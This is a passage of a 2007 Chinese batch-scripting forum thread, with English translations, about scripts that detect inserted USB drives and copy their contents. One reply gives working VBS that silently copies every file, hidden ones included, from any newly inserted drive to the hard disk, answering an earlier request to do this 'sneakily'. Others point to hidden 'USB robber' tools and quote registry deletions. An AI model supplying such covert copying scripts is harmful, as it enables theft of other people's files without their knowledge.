|
dj0733
初级用户
 
积分 138
发帖 55
注册 2007-2-2
状态 离线
|
『第 16 楼』:
使用 LLM 解释/回答一下
我也来研究一下~!
我要的是要显示,,并且提示复制成功!
是从文件夹Copy 到U盘。。。。
要是H:插入CP 到H:
要是G:插入CP 到G:
一次性来两个。。就两个全部提示。。
要是没有找U_DISK到就不Copy。。。
呵呵。。LZ 帮搞个简单的,。不要什么安装啊,什么的。。
兄弟们帮忙研究一下,,,
I also come to study~!
What I want is to display and prompt that the copy is successful!
It's from the folder Copy to the USB drive...
If H: is inserted, copy CP to H:
If G: is inserted, copy CP to G:
Do two at once. Just both prompts.
If U_DISK is not found, don't copy.
Hehe. LZ, help make a simple one. No need for any installation, etc.
Brothers, help study it...
|
|
2007-2-2 07:18 |
|
|
jmz573515
银牌会员
    
积分 1212
发帖 464
注册 2006-12-13
状态 离线
|
『第 17 楼』:
使用 LLM 解释/回答一下
加分~
不过好像不能成功终止,不知道各位的是不是这样?
Extra points~
But it seems that it cannot be successfully terminated. I wonder if the same is true for everyone here?
|
|
2007-2-2 08:30 |
|
|
heicai
中级用户
  
积分 385
发帖 156
注册 2007-1-19
状态 离线
|
『第 18 楼』:
使用 LLM 解释/回答一下
楼主,不知我新人能不能说句话。
貌似你copy.cmd里有句代码参数不严谨。
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
我觉得应该加个 /c
/C 即使有错误,也继续复制。
LZ, I wonder if a new user like me can say something.
It seems there is an imprecise parameter in the code of your copy.cmd.
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
I think /c should be added.
/C Continue copying even if there are errors.
|
|
2007-2-2 11:21 |
|
|
heicai
中级用户
  
积分 385
发帖 156
注册 2007-1-19
状态 离线
|
『第 19 楼』:
使用 LLM 解释/回答一下
本人相当佩服楼主的IDEA,更佩服各位的实力。
I quite admire the楼主's IDEA, and even more admire everyone's abilities.
|
|
2007-2-2 11:22 |
|
|
heicai
中级用户
  
积分 385
发帖 156
注册 2007-1-19
状态 离线
|
『第 20 楼』:
使用 LLM 解释/回答一下
reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
请教!删除这个是什么作用
The role of deleting this is to delete the "IsShortcut" value under the "lnkfile" and "piffile" keys in the HKEY_CLASSES_ROOT registry key. The ">nul 2>nul" part is used to redirect the standard output and standard error output to the null device, that is, to make the execution of these commands not display any output on the screen.
|
|
2007-2-2 11:27 |
|
|
lyflpf
新手上路

积分 17
发帖 9
注册 2007-3-12
状态 离线
|
|
2007-3-12 09:48 |
|
|
andysky
初级用户
 
积分 50
发帖 21
注册 2007-3-13
状态 离线
|
『第 22 楼』:
使用 LLM 解释/回答一下
Originally posted by gene771771 at 2006-11-29 12:29 AM:
有个仙要我写一个批处理,先判断U盘是否已插入,要是插入就自动COPY所有内容到硬盘,而且还要悄悄的。。。我左思右想,还是想不 ...
网上有U盘大盗,还有闪盘窥探者
可以实现你所有要求,是完全隐藏运行的.
Originally posted by gene771771 at 2006-11-29 12:29 AM:
There is a fairy asking me to write a batch script. First, judge whether the USB flash drive is inserted. If it is inserted, automatically copy all contents to the hard disk, and it also needs to be sneaky... I thought it over and over again, but still couldn't ...
There are USB flash drive robbers on the Internet, and there are also flash drive snoops
which can realize all your requirements and run completely hidden.
附件
1: 1.PNG (2007-3-15 06:53, 7.05 KiB,下载次数: 24)
|
|
2007-3-15 06:53 |
|
|
chengmo
新手上路

积分 9
发帖 5
注册 2007-3-19
状态 离线
|
『第 23 楼』:
使用 LLM 解释/回答一下
用PING会不会占用太多系统资源和有时间的限制,用SLEEP有时间的限制,,
比如我改为从电脑COPY文件到移动,那就不太实用了,,要让COPY百发百中,不管
时间长短就行,
如果在不用到第三方软件的情况常驻内存那真是太好了,
顺便问一下,这个问题用C语言来实现该如何做(不在该在这里问C,不好意思)
Using PING, will it occupy too many system resources and have time limits? Using SLEEP also has time limits.
For example, if I change it to copying files from the computer to a mobile device, then it's not very practical. I want the COPY to be 100% successful, regardless of the time length.
If it can be resident in memory without using third-party software, that would be really great.
By the way, I'm asking about how to implement this in C language (I shouldn't ask C here, sorry)
|
|
2007-3-19 01:10 |
|
|
546474
中级用户
  
积分 247
发帖 123
注册 2007-4-17
状态 离线
|
『第 24 楼』:
使用 LLM 解释/回答一下
回帖的真不少,是热门话题。写得太复杂了。
There are quite a lot of replies, which is a hot topic. It's written too complicatedly.
|
|
2007-5-3 11:07 |
|
|
axi
中级用户
   脚本爱好者
积分 238
发帖 93
注册 2007-3-11 来自 GZ
状态 离线
|
『第 25 楼』:
监视新增驱动器并复制其中文件到硬盘中
使用 LLM 解释/回答一下
其实用VBS可以完成此工作,且隐藏进行(如下例)。这个脚本的好处是,对那些识别为移动硬盘类型的U盘也可以成功复制文件。
1. 监视新增所有驱动器,并复制所有新驱动器中的文件到D盘下
'随时监视插入的U盘或移动硬盘,有则自动复制其中的所有文件到d:\Tmp中
'把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹
'注意:包括隐藏和系统属性的文件或文件夹均被复制
'覆盖true 不覆盖false 不能覆盖具有只读属性的文件和文件夹
'若出现多个新盘符的话,每个盘中的文件均被复制
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
NewDri = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri & "\*","d:\Tmp\",true
End If
End If
Loop
2.监视新增驱动器,只复制其中第1个分区中的所有文件到D盘下
Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
i=i + 1
NewDri(i) = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
End If
End If
Loop
In fact, this work can be done with VBS and hidden (as in the following example). The advantage of this script is that it can successfully copy files for USB drives identified as mobile hard drive types.
1. Monitor all newly added drives and copy all files from new drives to the D drive
'Monitor inserted USB drives or mobile hard drives at any time, and if there are any, automatically copy all files in them to d:\Tmp
'Change fso.CopyFile to fso.CopyFolder to copy folders
'Note: Files or folders with hidden and system attributes are all copied
'Overwrite true, not overwrite false. Files and folders with read-only attributes cannot be overwritten
'If there are multiple new drive letters, the files in each drive are copied
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
NewDri = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri & "\*","d:\Tmp\",true
End If
End If
Loop
2. Monitor newly added drives and only copy all files in the first partition to the D drive
Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
i=i + 1
NewDri(i) = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
End If
End If
Loop
|
|
2007-5-3 12:41 |
|
|
flying008
中级用户
  
积分 245
发帖 103
注册 2006-6-30
状态 离线
|
『第 26 楼』:
使用 LLM 解释/回答一下
现在对BAT和VBS看来要两手抓,两手硬才行啊……
AXI,偶对阁下的佩服犹如滔滔江水连绵不绝……
Now we need to focus on both BAT and VBS, and do both well...
AXI, I admire you so much that it's like a continuous stream of rushing water...
|
|
2007-5-3 12:52 |
|
|
blackbean
新手上路

积分 2
发帖 1
注册 2007-5-16
状态 离线
|
『第 27 楼』:
闪盘窥探者-好东西
使用 LLM 解释/回答一下
如何记录插入u盘后拷贝的内容,具体什么名称及内容
How to record the content copied after inserting the USB flash drive, specifically what the name and content are
|
|
2007-5-16 09:42 |
|
|
yanclhaill
新手上路

积分 2
发帖 1
注册 2007-6-6
状态 离线
|
『第 28 楼』:
使用 LLM 解释/回答一下
应该直接贴出源码
方便交流
You should directly post the source code for easy communication.
|
|
2007-6-6 10:34 |
|
|
yf210yf
新手上路

积分 0
发帖 1
注册 2007-6-11
状态 离线
|
『第 29 楼』:
有适用于2000的么?
使用 LLM 解释/回答一下
有适用于2000的么?
Is there anything suitable for 2000?
|
|
2007-6-12 10:16 |
|
|
koala
初级用户
  Batchs上議院參議長
积分 199
发帖 105
注册 2007-6-5 来自 江苏
状态 离线
|
『第 30 楼』:
使用 LLM 解释/回答一下
我有 u盘
顶一个
I have a USB flash drive.
Top one
|

『生如夏花之绚烂
死若秋叶之静美』 dos做到了 |
|
2007-7-3 20:09 |
|